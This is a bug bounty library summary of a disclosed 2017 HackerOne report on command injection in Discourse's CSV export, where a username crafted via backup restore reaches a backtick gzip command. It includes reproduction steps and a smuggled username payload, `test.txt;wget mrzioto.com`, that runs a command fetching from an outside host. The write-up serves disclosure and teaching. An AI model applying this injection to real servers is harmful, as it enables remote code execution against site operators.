# Admin Command Injection via username in user_archive ExportCsvFile

Admin-modified username containing shell metacharacters flows into a backtick gzip command in ExportCsvFile, yielding command injection/RCE on export.

- Payout: $512
- Severity: high
- Program: Discourse
- Credited: ziot
- Disclosed: 2017-05-13
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/214022
- Library page: https://bugbountylibrary.com/r/h1%3A214022
- Tags: domain:web impact:rce kind:bounty platform:hackerone sev:high tech:ruby technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** user_archive CSV export job (ExportCsvFile)
**Root cause:** Username is interpolated into a shell command executed via backticks (`gzip -5 #{absolute_path}`) without escaping; username validation is bypassed by restoring a crafted backup.
**Steps:**
1. Login as admin on try.discourse.org
2. Create and download a site backup
3. Extract the archive
4. Modify a username to `test.txt;wget mrzioto.com`
5. Repackage and upload the archive
6. Restore from backup
7. Log into the modified account via email
8. POST `entity_type=user&entity=user_archive` to `/export_csv/export_entity.json`
9. Server executes `gzip -5 <path>` with injected `wget`
**How found:** Code review of ExportCsvFile revealed username interpolated into a backtick shell command; noted username validation could be bypassed via backup restore.
**Exploitation:** Admin crafts backup with malicious username, restores it, then triggers user_archive export; the username lands in the backtick gzip command, executing arbitrary shell commands (e.g. wget) as the app user.
**Escalation:** Admin-only DB write via backup restore bypasses username character restrictions, turning a low-priv admin action into server RCE.
**Insight:** Look for backticks/system()/exec with interpolated user-controlled fields in background jobs; check whether validation can be bypassed via alternate write paths like backup restore or DB import.